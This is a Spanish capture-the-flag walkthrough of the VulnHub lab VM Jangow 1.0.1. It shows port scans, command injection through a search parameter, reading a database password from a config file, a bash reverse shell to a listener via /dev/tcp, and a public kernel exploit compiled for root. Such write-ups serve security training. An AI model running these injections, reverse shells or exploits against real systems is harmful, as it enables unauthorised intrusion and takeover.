JANGOW: 1.0.1

VulnHub es una web donde puedes descargar MV para hacer laboratorios sobre pentest. Dejo el enlace de está máquina virtual. El objetivo de esto es obtener dos flags, una de usuario y otra de root a través de la explotación de las vulnerabilidades que presenta la máquina.

URL descarga: https://www.vulnhub.com/entry/jangow-101,754/

Acceso a la máquina

Lo primero que hago es una escaneo de puertos para saber que puertos tiene abiertos la máquina:

$sudo nmap -p- --open --min-rate 5000 -vvv -sS -Pn 192.168.1.180 -oG allPorts
[sudo] password for parrot: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-15 11:52 BST
Initiating ARP Ping Scan at 11:52
Scanning 192.168.1.180 [1 port]
Completed ARP Ping Scan at 11:52, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:52
Completed Parallel DNS resolution of 1 host. at 11:52, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 11:52
Scanning 192.168.1.180 [65535 ports]
Discovered open port 21/tcp on 192.168.1.180
Discovered open port 80/tcp on 192.168.1.180
Completed SYN Stealth Scan at 11:52, 26.39s elapsed (65535 total ports)
Nmap scan report for 192.168.1.180
Host is up, received arp-response (0.00024s latency).
Scanned at 2023-10-15 11:52:26 BST for 27s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Tras ver que tiene abiertos el puerto 21 y el 80 hago un escaneo de dichos puertos para comprobar que servicios corren sobre ellos, en este caso, el 21 referencia a FTP y el 80 un servidor web.

$sudo nmap -sCV -p21,80 192.168.1.180 -oN tageted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-15 11:54 BST
Nmap scan report for 192.168.1.180
Host is up (0.00040s latency).

PORT   STATE    SERVICE VERSION

80/tcp open     http    Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-06-10 18:05  site/

Lo primero que hago con esta información es ver que tiene publicado este servidor web, por lo que accedo mediante el navegador a la IP:

Dentro de la carpeta site:

Navegando por la, veo que si se pincha en «buscar» lleva a una página en blanco donde la url es http://192.168.1.180/site/busque.php?buscar=

Lo interesante de esto es que si después del igual se pone un comando, este lo ejecuta:

Por lo que se puede ejecutar comandos como ls o pwd para saber en que ruta estoy y ver el contenido, una de las carpetas que se encuentran es wordpress y dentro de esta, el fichero config.php:

curl http://192.168.1.180/site/busque.php?buscar=cat%20wordpress/config.php
<?php
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);
?>

Por lo tanto se localiza, un usuario y contraseña. Los guardoy sigo revisando. Se comprueba que tenga un servicio de MySQL funcionando

curl http://192.168.1.180/site/busque.php?buscar=netstat%20-putona | grep LISTEN
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1186  100  1186    0     0   279k      0 --:--:-- --:--:-- --:--:--  289k
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                off (0.00/0/0)
tcp6       0      0 :::80                   :::*                    LISTEN      -                off (0.00/0/0)
tcp6       0      0 :::21                   :::*                    LISTEN      -                off (0.00/0/0)
tcp6       0      0 :::22                   :::*                    LISTEN      -                off (0.00/0/0)

También reviso que usuarios tiene creados la máquina

curl http://192.168.1.180/site/busque.php?buscar=ls%20/home
jangow01

Hasta este punto, la información que se he conseguido es, dos usuarios, uno de la máquina y otro de MySQLy una contraseña, también de MySQL. Como la máquina tenía un servicio de FTP funcionando, se prueba el acceso

Llegado este punto se pueden hacer 2 cosas, la primera es subir un fichero con el siguiente contenido a la ruta del servidor, ponerse en escucha en un puerto con nc y conectarnos a dicho fichero para ejecutarlo o bien, desde la página de buscar, ejecutar la siguiente línea tras pasarla por la siguiente herramienta: https://www.urlencoder.org/

/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.182/443 0>&1'

Aquí se ve como nos me pongoen escucha en el puerto 443 y tras ejecutar ese comando en la página de búsqueda, obtengo una reverse shell

sudo nc -lvp 443
listening on [any] 443 …
192.168.1.180: inverse host lookup failed: Unknown host
connect to [192.168.1.182] from (UNKNOWN) [192.168.1.180] 45112
bash: cannot set terminal process group (2791): Inappropriate ioctl for device
bash: no job control in this shell
www-data@jangow01:/var/www/html/site$

Tras esto, puedo ver la flag del usuario

www-data@jangow01:/var/www/html/site$ cat /home/jangow01/user.txt
cat /home/jangow01/user.txt
d41d8cd98f00b204e9800998ecf8427e

Escalada de privilegios

La máquina tiene un SO ubuntu 16 antiguo y buscando vulnerabilidades asociadas a esta versión, se encuentra la siguiente:

https://www.exploit-db.com/exploits/45010

Por lo que se coge ese script en C, se sube en un fichero a la máquina a través de FTP. Por comodidad lo subimos a /tmp con permisos 777. Se compila:

www-data@jangow01:/tmp$ gcc jangow.c -o jangow

www-data@jangow01:/tmp$ ls
jangow
jangow.c

Le damos permisos de ejecución al script con chmod +x jangow y lo ejecutamos.

www-data@jangow01:/tmp$ ./jangow 
[.] (-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened
[.]
[.]
[.*] UID from cred structure: 1000, matches the current: 1000 .1 
[.*] hammering cred structure at ffff880033d4d480 
[.*] credentials patched, launching shell...

Esto nos devolverá una shell como root. Una vez hecho esto ya puedo ver la flag de root:

cat /root/proof.txt